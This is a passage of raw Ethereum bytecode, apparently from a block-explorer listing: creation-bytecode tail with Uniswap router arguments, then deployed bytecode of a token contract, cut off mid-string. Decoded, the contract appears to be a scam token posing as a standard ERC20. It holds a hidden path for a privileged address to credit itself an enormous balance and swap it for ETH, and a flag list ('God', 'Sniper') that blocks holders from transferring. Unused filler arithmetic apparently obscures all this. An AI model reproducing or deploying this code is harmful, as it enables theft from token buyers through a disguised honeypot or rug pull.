101906115b091906126a3565b816001815181106115c4576115c3612a01565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000612710424761160f9190612562565b61161991906125a4565b90506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed17398860008685426040518663ffffffff1660e01b8152600401611684959493929190612aee565b6000604051808303816000875af11580156116a3573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906116cc9190612c61565b50505050505050505050505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61176a611dff565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036117d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d090612d1c565b60405180910390fd5b6117e281611e76565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184b90612dae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ba90612e40565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119a19190612123565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1390612ed2565b60405180910390fd5b5050565b6000611a2c84846116db565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611aa65781811015611a98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8f90612f3e565b60405180910390fd5b611aa584848484036117e5565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1290612fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8190613062565b60405180910390fd5b611b938361077b565b15611bd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bca906130ce565b60405180910390fd5b611bde838383611f3a565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5c90613160565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d559190612123565b60405180910390a3611d68848484611f3f565b50505050565b60006301e1338042611d8091906125a4565b90506dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611de19190612468565b92505081905550600080600243611df891906125a4565b1490505050565b3373ffffffffffffffffffffffffffffffffffffffff16611e1e610927565b73ffffffffffffffffffffffffffffffffffffffff1614611e74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6b906131cc565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611f7e578082015181840152602081019050611f63565b60008484015250505050565b6000601f19601f8301169050919050565b6000611fa682611f44565b611fb08185611f4f565b9350611fc0818560208601611f60565b611fc981611f8a565b840191505092915050565b60006020820190508181036000830152611fee8184611f9b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120358261200a565b9050919050565b6120458161202a565b811461205057600080fd5b50565b6000813590506120628161203c565b92915050565b6000819050919050565b61207b81612068565b811461208657600080fd5b50565b60008135905061209881612072565b92915050565b600080604083850312156120b5576120b4612000565b5b60006120c385828601612053565b92505060206120d485828601612089565b9150509250929050565b60008115159050919050565b6120f3816120de565b82525050565b600060208201905061210e60008301846120ea565b92915050565b61211d81612068565b82525050565b60006020820190506121386000830184612114565b92915050565b60008060006060848603121561215757612156612000565b5b600061216586828701612053565b935050602061217686828701612053565b925050604061218786828701612089565b9150509250925092565b600060ff82169050919050565b6121a781612191565b82525050565b60006020820190506121c2600083018461219e565b92915050565b6000602082840312156121de576121dd612000565b5b60006121ec84828501612053565b91505092915050565b6121fe8161202a565b82525050565b600060208201905061221960008301846121f5565b92915050565b6000806040838503121561223657612235612000565b5b600061224485828601612053565b925050602061225585828601612053565b9150509250929050565b61226881612191565b811461227357600080fd5b50565b6000813590506122858161225f565b92915050565b600080604083850312156122a2576122a1612000565b5b60006122b085828601612053565b92505060206122c185828601612276565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061231257607f821691505b602082108103612325576123246122cb565b5b50919050565b6000819050919050565b6000819050919050565b600061235a6123556123508461232b565b612335565b612068565b9050919050565b61236a8161233f565b82525050565b600060c08201905061238560008301896121f5565b6123926020830188612114565b61239f6040830187612361565b6123ac6060830186612361565b6123b960808301856121f5565b6123c660a0830184612114565b979650505050505050565b6000815190506123e081612072565b92915050565b6000806000606084860312156123ff576123fe612000565b5b600061240d868287016123d1565b935050602061241e868287016123d1565b925050604061242f868287016123d1565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061247382612068565b915061247e83612068565b925082820190508082111561249657612495612439565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008160601b9050919050565b60006124e3826124cb565b9050919050565b60006124f5826124d8565b9050919050565b61250d6125088261202a565b6124ea565b82525050565b600061251f82846124fc565b60148201915081905092915050565b600061253982612068565b915061254483612068565b925082820390508181111561255c5761255b612439565b5b92915050565b600061256d82612068565b915061257883612068565b925082820261258681612068565b9150828204841483151761259d5761259c612439565b5b5092915050565b60006125af82612068565b91506125ba83612068565b9250826125ca576125c961249c565b5b828206905092915050565b6000819050919050565b6125f06125eb82612068565b6125d5565b82525050565b600061260282856125df565b60208201915061261282846124fc565b6014820191508190509392505050565b7f4c75636b79204c756369616e6f2773207761746368696e670000000000000000600082015250565b6000612658601883611f4f565b915061266382612622565b602082019050919050565b600060208201905081810360008301526126878161264b565b9050919050565b60008151905061269d8161203c565b92915050565b6000602082840312156126b9576126b8612000565b5b60006126c78482850161268e565b91505092915050565b60006040820190506126e560008301856121f5565b6126f260208301846121f5565b9392505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612755602583611f4f565b9150612760826126f9565b604082019050919050565b6000602082019050818103600083015261278481612748565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b6127ae8161278b565b81146127b957600080fd5b50565b6000815190506127cb816127a5565b92915050565b600063ffffffff82169050919050565b6127ea816127d1565b81146127f557600080fd5b50565b600081519050612807816127e1565b92915050565b60008060006060848603121561282657612825612000565b5b6000612834868287016127bc565b9350506020612845868287016127bc565b9250506040612856868287016127f8565b9150509250925092565b7f476f640000000000000000000000000000000000000000000000000000000000600082015250565b6000612896600383611f4f565b91506128a182612860565b602082019050919050565b600060208201905081810360008301526128c581612889565b9050919050565b7f536e697065720000000000000000000000000000000000000000000000000000600082015250565b6000612902600683611f4f565b915061290d826128cc565b602082019050919050565b60006020820190508181036000830152612931816128f5565b9050919050565b600061294482856124fc565b60148201915061295482846125df565b6020820191508190509392505050565b600061296f82612068565b915061297a83612068565b92508261298a5761298961249c565b5b828204905092915050565b60006129a182866125df565b6020820191506129b182856124fc565b6014820191506129c182846125df565b602082019150819050949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612a658161202a565b82525050565b6000612a778383612a5c565b60208301905092915050565b6000602082019050919050565b6000612a9b82612a30565b612aa58185612a3b565b9350612ab083612a4c565b8060005b83811015612ae1578151612ac88882612a6b565b9750612ad383612a83565b925050600181019050612ab4565b5085935050505092915050565b600060a082019050612b036000830188612114565b612b106020830187612361565b8181036040830152612b228186612a90565b9050612b3160608301856121f5565b612b3e6080830184612114565b9695505050505050565b600080fd5b612b5682611f8a565b810181811067ffffffffffffffff82111715612b7557612b746129d2565b5b80604052505050565b6000612b88611ff6565b9050612b948282612b4d565b919050565b600067ffffffffffffffff821115612bb457612bb36129d2565b5b602082029050602081019050919050565b600080fd5b6000612bdd612bd884612b99565b612b7e565b90508083825260208201905060208402830185811115612c0057612bff612bc5565b5b835b81811015612c295780612c1588826123d1565b845260208401935050602081019050612c02565b5050509392505050565b600082601f830112612c4857612c47612b48565b5b8151612c58848260208601612bca565b91505092915050565b600060208284031215612c7757612c76612000565b5b600082015167ffffffffffffffff811115612c9557612c94612005565b5b612ca184828501612c33565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612d06602683611f4f565b9150612d1182612caa565b604082019050919050565b60006020820190508181036000830152612d3581612cf9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612d98602483611f4f565b9150612da382612d3c565b604082019050919050565b60006020820190508181036000830152612dc781612d8b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e2a602283611f4f565b9150612e3582612dce565b604082019050919050565b60006020820190508181036000830152612e5981612e1d565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ebc602183611f4f565b9150612ec782612e60565b604082019050919050565b60006020820190508181036000830152612eeb81612eaf565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612f28601d83611f4f565b9150612f3382612ef2565b602082019050919050565b60006020820190508181036000830152612f5781612f1b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612fba602583611f4f565b9150612fc582612f5e565b604082019050919050565b60006020820190508181036000830152612fe981612fad565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061304c602383611f4f565b915061305782612ff0565b604082019050919050565b6000602082019050818103600083015261307b8161303f565b9050919050565b7f45524332303a204e6f207072656d697373696f6e20746f207472616e73666572600082015250565b60006130b8602083611f4f565b91506130c382613082565b602082019050919050565b600060208201905081810360008301526130e7816130ab565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061314a602683611f4f565b9150613155826130ee565b604082019050919050565b600060208201905081810360008301526131798161313d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006131b6602083611f4f565b91506131c182613180565b602082019050919050565b600060208201905081810360008301526131e5816131a9565b905091905056fea2646970667358221220a33b8bd5ee64b8bf99c33d04556d9aa2302b4d17613465c3d9bb4f2ca46d92c064736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
Deployed Bytecode
0x6080604052600436106101355760003560e01c80638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb14610409578063bb7a6a8214610446578063d73e1e1314610483578063d77d618e146104ac578063dd62ed3e146104c3578063f2fde38b1461050057610135565b80638da5cb5b1461032457806392b6ff661461034f57806395d89b4114610378578063a293f7ee146103a3578063a457c2d7146103cc57610135565b8063313ce567116100fd578063313ce56714610214578063395093511461023f578063453fbd391461027c5780635d7e2a35146102b957806370a08231146102d0578063715018a61461030d57610135565b806306fdde031461013a578063095ea7b3146101655780630bc488c5146101a257806318160ddd146101ac57806323b872dd146101d7575b600080fd5b34801561014657600080fd5b5061014f610529565b60405161015c9190611fd4565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061209e565b6105bb565b60405161019991906120f9565b60405180910390f35b6101aa6105d7565b005b3480156101b857600080fd5b506101c1610702565b6040516101ce9190612123565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f9919061213e565b61070c565b60405161020b91906120f9565b60405180910390f35b34801561022057600080fd5b50610229610734565b60405161023691906121ad565b60405180910390f35b34801561024b57600080fd5b506102666004803603810190610261919061209e565b61074b565b60405161027391906120f9565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906121c8565b61077b565b6040516102b091906120f9565b60405180910390f35b3480156102c557600080fd5b506102ce61083e565b005b3480156102dc57600080fd5b506102f760048036038101906102f291906121c8565b6108ca565b6040516103049190612123565b60405180910390f35b34801561031957600080fd5b50610322610913565b005b34801561033057600080fd5b50610339610927565b6040516103469190612204565b60405180910390f35b34801561035b57600080fd5b50610376600480360381019061037191906121c8565b610950565b005b34801561038457600080fd5b5061038d610ab5565b60405161039a9190611fd4565b60405180910390f35b3480156103af57600080fd5b506103ca60048036038101906103c5919061221f565b610b47565b005b3480156103d857600080fd5b506103f360048036038101906103ee919061209e565b610d9b565b60405161040091906120f9565b60405180910390f35b34801561041557600080fd5b50610430600480360381019061042b919061209e565b610e0b565b60405161043d91906120f9565b60405180910390f35b34801561045257600080fd5b5061046d600480360381019061046891906121c8565b610e27565b60405161047a9190612123565b60405180910390f35b34801561048f57600080fd5b506104aa60048036038101906104a5919061228b565b610fbc565b005b3480156104b857600080fd5b506104c161126e565b005b3480156104cf57600080fd5b506104ea60048036038101906104e5919061221f565b6116db565b6040516104f79190612123565b60405180910390f35b34801561050c57600080fd5b50610527600480360381019061052291906121c8565b611762565b005b606060088054610538906122fa565b80601f0160208091040260200160405190810160405280929190818152602001828054610564906122fa565b80156105b15780601f10610586576101008083540402835291602001916105b1565b820191906000526020600020905b81548152906001019060200180831161059457829003601f168201915b5050505050905090565b6000803390506105cc8185856117e5565b600191505092915050565b61060333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119ae565b61061530610610336108ca565b610e0b565b5061064b30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610646306108ca565b6117e5565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610694306108ca565b60008033426040518863ffffffff1660e01b81526004016106ba96959493929190612370565b60606040518083038185885af11580156106d8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106fd91906123e6565b505050565b6000600754905090565b60008033905061071d858285611a20565b610728858585611aac565b60019150509392505050565b6000600a60009054906101000a900460ff16905090565b60008033905061077081858561076185896116db565b61076b9190612468565b6117e5565b600191505092915050565b600080640ba43b74003a1090506000600160098061079c5761079b61249c565b5b336040516020016107ad9190612513565b6040516020818303038152906040528051906020012060001c42096107d29190612468565b90506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614610832576001610835565b60005b92505050919050565b600061038f4361084e9190612562565b905061087c33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119ae565b610884611d6e565b6000620f4240806108985761089761249c565b5b336040516020016108a99190612513565b6040516020818303038152906040528051906020012060001c430990505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61091b611dff565b6109256000611e76565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006103e843476109619190612562565b61096b91906125a4565b905060003373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff161490506109cc33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119ae565b600080600b436109dc91906125a4565b14905083600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006001620f42404233604051602001610a3b9291906125f6565b6040516020818303038152906040528051906020012060001c610a5e91906125a4565b610a689190612468565b90506101398103610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa59061266e565b60405180910390fd5b5050505050565b606060098054610ac4906122fa565b80601f0160208091040260200160405190810160405280929190818152602001828054610af0906122fa565b8015610b3d5780601f10610b1257610100808354040283529160200191610b3d565b820191906000526020600020905b815481529060010190602001808311610b2057829003601f168201915b5050505050905090565b610b7333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119ae565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a5781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdc91906126a3565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b8152600401610d169291906126d0565b602060405180830381865afa158015610d33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5791906126a3565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000803390506000610dad82866116db565b905083811015610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de99061276b565b60405180910390fd5b610dff82868684036117e5565b60019250505092915050565b600080339050610e1c818585611aac565b600191505092915050565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610e99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebd919061280d565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6c91906126a3565b73ffffffffffffffffffffffffffffffffffffffff1614610f9d57816dffffffffffffffffffffffffffff16610faf565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b60006001606480610fd057610fcf61249c565b5b600143610fdd919061252e565b4060001c4309610fed9190612468565b905060007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff806110205761101f61249c565b5b42336040516020016110329190612513565b6040516020818303038152906040528051906020012060001c08905061107a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119ae565b60008060054361108a91906125a4565b14905060028460ff16106110d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ca906128ac565b60405180910390fd5b6000600161271043426110e69190612562565b6110f091906125a4565b6110fa9190612468565b9050600080600b4361110c91906125a4565b149050600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168660ff16036111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a90612918565b60405180910390fd5b600080600533426040516020016111bb929190612938565b6040516020818303038152906040528051906020012060001c6111de91906125a4565b14905086600b60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff16021790555060006001620f4240474261124d9190612562565b61125791906125a4565b6112619190612468565b9050505050505050505050565b60003360601b6bffffffffffffffffffffffff1916600143611290919061252e565b406bffffffffffffffffffffffff19161090506112cf33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119ae565b60003373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614159050600061130e30610e27565b905060006101f46103e84361132391906125a4565b61132d9190612468565b9050600a600b8261133e9190612562565b6113489190612964565b905060006103e8474261135b9190612562565b61136591906125a4565b90506000836dffffffffffffffffffffffffffff8016611385919061252e565b905060003373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141590506113c3611d6e565b6113d5306113d0336108ca565b610e0b565b506000600a6103e86001436113ea919061252e565b4060001c6113f891906125a4565b10905061143830600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff80166117e5565b60006001606443334260405160200161145393929190612995565b6040516020818303038152906040528051906020012060001c61147691906125a4565b6114809190612468565b90506060600267ffffffffffffffff81111561149f5761149e6129d2565b5b6040519080825280602002602001820160405280156114cd5781602001602082028036833780820191505090505b50905030816000815181106114e5576114e4612a01565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561158c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115b091906126a3565b816001815181106115c4576115c3612a01565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000612710424761160f9190612562565b61161991906125a4565b90506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed17398860008685426040518663ffffffff1660e01b8152600401611684959493929190612aee565b6000604051808303816000875af11580156116a3573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906116cc9190612c61565b50505050505050505050505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61176a611dff565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036117d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d090612d1c565b60405180910390fd5b6117e281611e76565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184b90612dae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ba90612e40565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119a19190612123565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1390612ed2565b60405180910390fd5b5050565b6000611a2c84846116db565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611aa65781811015611a98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8f90612f3e565b60405180910390fd5b611aa584848484036117e5565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1290612fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8190613062565b60405180910390fd5b611b938361077b565b15611bd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bca906130ce565b60405180910390fd5b611bde838383611f3a565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5c90613160565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d559190612123565b60405180910390a3611d68848484611f3f565b50505050565b60006301e1338042611d8091906125a4565b90506dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611de19190612468565b92505081905550600080600243611df891906125a4565b1490505050565b3373ffffffffffffffffffffffffffffffffffffffff16611e1e610927565b73ffffffffffffffffffffffffffffffffffffffff1614611e74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6b906131cc565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611f7e578082015181840152602081019050611f63565b60008484015250505050565b6000601f19601f8301169050919050565b6000611fa682611f44565b611fb08185611f4f565b9350611fc0818560208601611f60565b611fc981611f8a565b840191505092915050565b60006020820190508181036000830152611fee8184611f9b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120358261200a565b9050919050565b6120458161202a565b811461205057600080fd5b50565b6000813590506120628161203c565b92915050565b6000819050919050565b61207b81612068565b811461208657600080fd5b50565b60008135905061209881612072565b92915050565b600080604083850312156120b5576120b4612000565b5b60006120c385828601612053565b92505060206120d485828601612089565b9150509250929050565b60008115159050919050565b6120f3816120de565b82525050565b600060208201905061210e60008301846120ea565b92915050565b61211d81612068565b82525050565b60006020820190506121386000830184612114565b92915050565b60008060006060848603121561215757612156612000565b5b600061216586828701612053565b935050602061217686828701612053565b925050604061218786828701612089565b9150509250925092565b600060ff82169050919050565b6121a781612191565b82525050565b60006020820190506121c2600083018461219e565b92915050565b6000602082840312156121de576121dd612000565b5b60006121ec84828501612053565b91505092915050565b6121fe8161202a565b82525050565b600060208201905061221960008301846121f5565b92915050565b6000806040838503121561223657612235612000565b5b600061224485828601612053565b925050602061225585828601612053565b9150509250929050565b61226881612191565b811461227357600080fd5b50565b6000813590506122858161225f565b92915050565b600080604083850312156122a2576122a1612000565b5b60006122b085828601612053565b92505060206122c185828601612276565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061231257607f821691505b602082108103612325576123246122cb565b5b50919050565b6000819050919050565b6000819050919050565b600061235a6123556123508461232b565b612335565b612068565b9050919050565b61236a8161233f565b82525050565b600060c08201905061238560008301896121f5565b6123926020830188612114565b61239f6040830187612361565b6123ac6060830186612361565b6123b960808301856121f5565b6123c660a0830184612114565b979650505050505050565b6000815190506123e081612072565b92915050565b6000806000606084860312156123ff576123fe612000565b5b600061240d868287016123d1565b935050602061241e868287016123d1565b925050604061242f868287016123d1565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061247382612068565b915061247e83612068565b925082820190508082111561249657612495612439565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008160601b9050919050565b60006124e3826124cb565b9050919050565b60006124f5826124d8565b9050919050565b61250d6125088261202a565b6124ea565b82525050565b600061251f82846124fc565b60148201915081905092915050565b600061253982612068565b915061254483612068565b9250828203905081811